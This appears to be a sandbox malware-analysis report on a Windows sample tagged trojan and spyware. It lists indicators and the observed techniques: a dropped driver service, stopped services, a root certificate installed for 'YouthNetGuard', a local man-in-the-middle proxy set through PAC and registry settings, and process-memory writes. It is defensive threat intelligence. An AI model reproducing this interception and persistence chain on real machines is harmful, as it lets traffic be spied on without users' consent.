ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e

Analysis

max time kernel
65s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/08/2026, 10:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe
Size 7.7MB
Sample260809-l35sfayxes
SHA256 ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e
MD5 ea7fc1a58114c9f807c230efd16f0fa6
SHA1 8b82127f219825089a64bea3d736e38f43c0d3e1
SHA512 4e8b0acde42c44b67011a15d7decde23cbad87290ef4b2bda7eddf19e3f273ad5ecf07d713eab356353ed01adf864c204c9b6802db28bee1a27dc125bebdecbe
SSDEEP 98304:nS0N+EuErAVB5i4/RHrPvN4tSnvKq7nZBHb9rluyKAY06sbzRF7G0PdryZygthZ+:nPDsBTR7NnDZKl06sbzR1d636Sro
TLSH
T1138602CAD16E84D2DC053FF598142AC74B244A325A7400283E6FBD895F779FEC05EEA6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

adware defense_evasion discovery execution persistence privilege_escalation spyware trojan upx

Malware Config

Signatures

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\ahcreyyxmqm.sys	YngSilentSetup.exe
File created	C:\Windows\system32\drivers\ahcreyyxmqm.sys	YngSilentSetup.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ahcreyyxmqm\ImagePath = "\\SystemRoot\\System32\\drivers\\ahcreyyxmqm.sys"	YngSilentSetup.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
1380	YngSilentSetup.exe
3092	WpnPlatformHost.exe
2168	WpnPlatformHost.exe
2424	yng-mitm.exe

Loads dropped DLL 1 IoCs

pid	Process
4428	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\ISocket.dll	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe

UPX packed file 11 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4428-0-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral1/memory/4428-147-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral1/memory/4428-162-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral1/memory/4428-170-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral1/memory/4428-236-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral1/memory/4428-237-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral1/memory/4428-286-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral1/memory/4428-293-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral1/memory/4428-300-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral1/memory/4428-301-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral1/memory/4428-308-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx

Drops file in Program Files directory 17 IoCs

description	ioc	Process
File created	C:\Program Files\YouthNetGuard\ca.crt.pem.tmp	WpnPlatformHost.exe
File opened for modification	C:\Program Files\YouthNetGuard\certs\parent-ca.cer	WpnPlatformHost.exe
File opened for modification	C:\Program Files\YouthNetGuard\WpnPlatformHost.exe	YngSilentSetup.exe
File created	C:\Program Files\YouthNetGuard\yng-mitm.exe	YngSilentSetup.exe
File created	C:\Program Files\YouthNetGuard\server_url.txt	YngSilentSetup.exe
File created	C:\Program Files\YouthNetGuard\redirect.txt.tmp	WpnPlatformHost.exe
File created	C:\Program Files\YouthNetGuard\WpnPlatformHost.exe	YngSilentSetup.exe
File created	C:\Program Files\YouthNetGuard\certs\parent-ca.cer	WpnPlatformHost.exe
File created	C:\Program Files\YouthNetGuard\parent_ca.thumb.tmp	WpnPlatformHost.exe
File opened for modification	C:\Program Files\YouthNetGuard\yng-mitm.exe	YngSilentSetup.exe
File opened for modification	C:\Program Files\YouthNetGuard\mitm\yng-mitm.exe	YngSilentSetup.exe
File created	C:\Program Files\YouthNetGuard\mitm\yng-mitm.exe	YngSilentSetup.exe
File created	C:\Program Files\YouthNetGuard\mitm\ca.crt.pem.tmp	WpnPlatformHost.exe
File created	C:\Program Files\YouthNetGuard\mitm\ca.key.pem.tmp	WpnPlatformHost.exe
File created	C:\Program Files\YouthNetGuard\redirect.txt.tmp	WpnPlatformHost.exe
File created	C:\Program Files\YouthNetGuard\ca.key.pem.tmp	WpnPlatformHost.exe
File created	C:\Program Files\YouthNetGuard\parent_ca.thumb.tmp	WpnPlatformHost.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3452	sc.exe
4040	sc.exe
4036	sc.exe
3620	sc.exe
4544	Process not Found
536	Process not Found
4484	Process not Found
2012	sc.exe
4236	sc.exe
3328	sc.exe
4240	sc.exe
3784	sc.exe
4036	sc.exe
3244	sc.exe
1640	Process not Found
4472	Process not Found
4280	Process not Found
948	sc.exe
4704	sc.exe
2844	Process not Found
1488	Process not Found
2316	sc.exe
1212	sc.exe
2740	sc.exe
368	Process not Found
4116	sc.exe
652	sc.exe
976	sc.exe
4900	sc.exe
4928	sc.exe
3308	Process not Found
4100	sc.exe
4380	Process not Found
4744	Process not Found
2868	sc.exe
4472	sc.exe
908	Process not Found
3012	Process not Found
3620	sc.exe
1892	sc.exe
4880	sc.exe
412	sc.exe
1096	Process not Found
4916	Process not Found
3020	sc.exe
4880	sc.exe
948	sc.exe
4948	sc.exe
4880	sc.exe
3648	sc.exe
4484	sc.exe
3020	sc.exe
2704	Process not Found
4176	Process not Found
820	sc.exe
1856	sc.exe
2628	sc.exe
2740	sc.exe
4036	sc.exe
4760	sc.exe
4168	sc.exe
2104	Process not Found
3680	Process not Found
1368	Process not Found

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 64 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Modifies trusted root certificate store through registry 1 TTPs 1 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DDD35AAE9CFC7B7CFB1E40DED919A9DB5D3616C7\Blob = 030000000100000014000000ddd35aae9cfc7b7cfb1e40ded919a9db5d3616c720000000010000001703000030820313308201fba003020102021075a7503271a65b9b47f0db53376b61fd300d06092a864886f70d01010b050030223120301e06035504030c17596f7574684e6574477561726420506172656e74204341301e170d3236303732303139303334315a170d3336303732303139313334315a30223120301e06035504030c17596f7574684e6574477561726420506172656e7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100cc51552dad42375cafdf010a8ad7f3bcbd087b88ed236ec71ae0f0bd81db3054f629e467c420ad60eede951f80308245f88db8252439743edf2f240d5ab2f32088fc7b0f66f775f5adf25b11c9c98dd47307a5f5bf25e3e3aa6bb250336dfc341954e4fa11cb44f0104260a65173405bc5028b39f39db38eea148e0d2ef985c3055873cd9edbfff619ab12d5811f37da8566533708482eecf3da7be37789de0a9e1601a9d3e84c713ab93f62fe87d7f34e4158bbef3495e000b9b9f6350b33b0970ecc8d129b31856c73b68fda0cfac6b30674f31b00a9d3019e291679432d728bc47939a97d4b38c75988852bcb4dcd5dea3f2d9b0bc53008697ad05856a53d0203010001a3453043300e0603551d0f0101ff04040302018630120603551d130101ff040830060101ff020100301d0603551d0e041604145d256cd1d115497ea8d1ef33ac1d3e31834f5077300d06092a864886f70d01010b05000382010100a9c2354588cca8cfba7946a90821b41044e7ab82e2cfbb566fdcb96b680b977120e6f0d76a1d3325aaf93f72db068285636f4820987ae09eace583360c6c15af489b44d75f68ac3ef6d61ab858b7c57219e9a81fb4fd156826c847e75365d0ef8c78c9e164452914f8e312da4d6dc31ae44aee50a5526f3db8c29ed463e5994023e7fd84a0e563150b78ba14093c3a77830dcb0bf31b6835e21d062d416c28adcfefa1548d5899bbd4a70cbc1f1afabb62a7d861cd37780e990e992251b49d5f471955714daa494b427d5944f619842121c32ec8c485711d836bd1ac424c4b30a5d3c916d67700be03cbf98d76a1f1cf5ac8e3809c54001a77900bff3afe80ff	WpnPlatformHost.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Internet Explorer\IESettingSync	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe

Modifies data under HKEY_USERS 36 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	WpnPlatformHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	WpnPlatformHost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings	WpnPlatformHost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = "http://127.0.0.1:31808/yng.pac?v=88"	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride = "<-loopback>;127.0.0.1;localhost;<local>;www.56789tl.com;56789tl.com;47.243.104.243"	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = "http://127.0.0.1:31808/yng.pac?v=88"	WpnPlatformHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	WpnPlatformHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	WpnPlatformHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	WpnPlatformHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	WpnPlatformHost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = "http://127.0.0.1:31808/yng.pac?v=88"	WpnPlatformHost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride = "<-loopback>;127.0.0.1;localhost;<local>;www.56789tl.com;56789tl.com;47.243.104.243"	WpnPlatformHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride = "<-loopback>;127.0.0.1;localhost;<local>;www.56789tl.com;56789tl.com;47.243.104.243"	WpnPlatformHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride = "<-loopback>;127.0.0.1;localhost;<local>;www.56789tl.com;56789tl.com;47.243.104.243"	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = "http://127.0.0.1:31808/yng.pac?v=88"	WpnPlatformHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	WpnPlatformHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	WpnPlatformHost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings	WpnPlatformHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	WpnPlatformHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	WpnPlatformHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	WpnPlatformHost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = "http://127.0.0.1:31808/yng.pac?v=88"	WpnPlatformHost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	WpnPlatformHost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	WpnPlatformHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	WpnPlatformHost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	WpnPlatformHost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride = "<-loopback>;127.0.0.1;localhost;<local>;www.56789tl.com;56789tl.com;47.243.104.243"	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride = "<-loopback>;127.0.0.1;localhost;<local>;www.56789tl.com;56789tl.com;47.243.104.243"	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = "http://127.0.0.1:31808/yng.pac?v=88"	WpnPlatformHost.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DDD35AAE9CFC7B7CFB1E40DED919A9DB5D3616C7	WpnPlatformHost.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
1380	YngSilentSetup.exe
1380	YngSilentSetup.exe
3092	WpnPlatformHost.exe
3092	WpnPlatformHost.exe
3092	WpnPlatformHost.exe
3092	WpnPlatformHost.exe
3092	WpnPlatformHost.exe
3092	WpnPlatformHost.exe
3092	WpnPlatformHost.exe
3092	WpnPlatformHost.exe
3092	WpnPlatformHost.exe
3092	WpnPlatformHost.exe
2168	WpnPlatformHost.exe
2168	WpnPlatformHost.exe
2168	WpnPlatformHost.exe
2168	WpnPlatformHost.exe
2168	WpnPlatformHost.exe
2168	WpnPlatformHost.exe
2168	WpnPlatformHost.exe
2168	WpnPlatformHost.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
668	Process not Found

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4428	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4428	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe
4428	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe
4428	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe
4428	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4428 wrote to memory of 1380	4428	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe	86
PID 1380 wrote to memory of 3092	1380	YngSilentSetup.exe	88
PID 3092 wrote to memory of 2424	3092	WpnPlatformHost.exe	92
PID 3092 wrote to memory of 4476	3092	WpnPlatformHost.exe	97
PID 2168 wrote to memory of 4884	2168	WpnPlatformHost.exe	99
PID 3092 wrote to memory of 2960	3092	WpnPlatformHost.exe	101
PID 2168 wrote to memory of 2744	2168	WpnPlatformHost.exe	103
PID 3092 wrote to memory of 540	3092	WpnPlatformHost.exe	107
PID 2168 wrote to memory of 3264	2168	WpnPlatformHost.exe	108
PID 2168 wrote to memory of 3936	2168	WpnPlatformHost.exe	111
PID 2168 wrote to memory of 4904	2168	WpnPlatformHost.exe	113
PID 2168 wrote to memory of 2016	2168	WpnPlatformHost.exe	116
PID 2168 wrote to memory of 3388	2168	WpnPlatformHost.exe	118
PID 3092 wrote to memory of 4152	3092	WpnPlatformHost.exe	120
PID 3092 wrote to memory of 2204	3092	WpnPlatformHost.exe	122
PID 2168 wrote to memory of 4052	2168	WpnPlatformHost.exe	124
PID 3092 wrote to memory of 1200	3092	WpnPlatformHost.exe	126
PID 2168 wrote to memory of 2308	2168	WpnPlatformHost.exe	128
PID 3092 wrote to memory of 4280	3092	WpnPlatformHost.exe	208
PID 2168 wrote to memory of 4940	2168	WpnPlatformHost.exe	132
PID 3092 wrote to memory of 2976	3092	WpnPlatformHost.exe	135
PID 3092 wrote to memory of 4832	3092	WpnPlatformHost.exe	172
PID 3092 wrote to memory of 2812	3092	WpnPlatformHost.exe	139
PID 3092 wrote to memory of 1440	3092	WpnPlatformHost.exe	141
PID 3092 wrote to memory of 1636	3092	WpnPlatformHost.exe	143
PID 3092 wrote to memory of 4588	3092	WpnPlatformHost.exe	275
PID 2168 wrote to memory of 3788	2168	WpnPlatformHost.exe	296
PID 2168 wrote to memory of 1648	2168	WpnPlatformHost.exe	189
PID 2168 wrote to memory of 5056	2168	WpnPlatformHost.exe	356
PID 2168 wrote to memory of 3536	2168	WpnPlatformHost.exe	193
PID 2168 wrote to memory of 2692	2168	WpnPlatformHost.exe	156
PID 2168 wrote to memory of 3668	2168	WpnPlatformHost.exe	158
PID 3092 wrote to memory of 3020	3092	WpnPlatformHost.exe	160
PID 2168 wrote to memory of 4480	2168	WpnPlatformHost.exe	348
PID 3092 wrote to memory of 3548	3092	WpnPlatformHost.exe	439
PID 2168 wrote to memory of 944	2168	WpnPlatformHost.exe	394
PID 3092 wrote to memory of 2800	3092	WpnPlatformHost.exe	450
PID 2168 wrote to memory of 2288	2168	WpnPlatformHost.exe	170
PID 3092 wrote to memory of 4832	3092	WpnPlatformHost.exe	363
PID 3092 wrote to memory of 2556	3092	WpnPlatformHost.exe	174
PID 3092 wrote to memory of 4320	3092	WpnPlatformHost.exe	496
PID 2168 wrote to memory of 3708	2168	WpnPlatformHost.exe	178
PID 2168 wrote to memory of 1932	2168	WpnPlatformHost.exe	515
PID 2168 wrote to memory of 1216	2168	WpnPlatformHost.exe	182
PID 3092 wrote to memory of 1072	3092	WpnPlatformHost.exe	223
PID 3092 wrote to memory of 3928	3092	WpnPlatformHost.exe	386
PID 3092 wrote to memory of 3264	3092	WpnPlatformHost.exe	234
PID 2168 wrote to memory of 3556	2168	WpnPlatformHost.exe	550
PID 2168 wrote to memory of 3308	2168	WpnPlatformHost.exe	600
PID 2168 wrote to memory of 5000	2168	WpnPlatformHost.exe	462
PID 2168 wrote to memory of 3184	2168	WpnPlatformHost.exe	464
PID 3092 wrote to memory of 3388	3092	WpnPlatformHost.exe	395
PID 2168 wrote to memory of 1196	2168	WpnPlatformHost.exe	200
PID 2168 wrote to memory of 3480	2168	WpnPlatformHost.exe	448
PID 3092 wrote to memory of 2576	3092	WpnPlatformHost.exe	204
PID 3092 wrote to memory of 3548	3092	WpnPlatformHost.exe	439
PID 3092 wrote to memory of 4280	3092	WpnPlatformHost.exe	567
PID 3092 wrote to memory of 4812	3092	WpnPlatformHost.exe	321
PID 3092 wrote to memory of 1576	3092	WpnPlatformHost.exe	670
PID 3092 wrote to memory of 1956	3092	WpnPlatformHost.exe	629
PID 3092 wrote to memory of 3172	3092	WpnPlatformHost.exe	716
PID 3092 wrote to memory of 4976	3092	WpnPlatformHost.exe	430
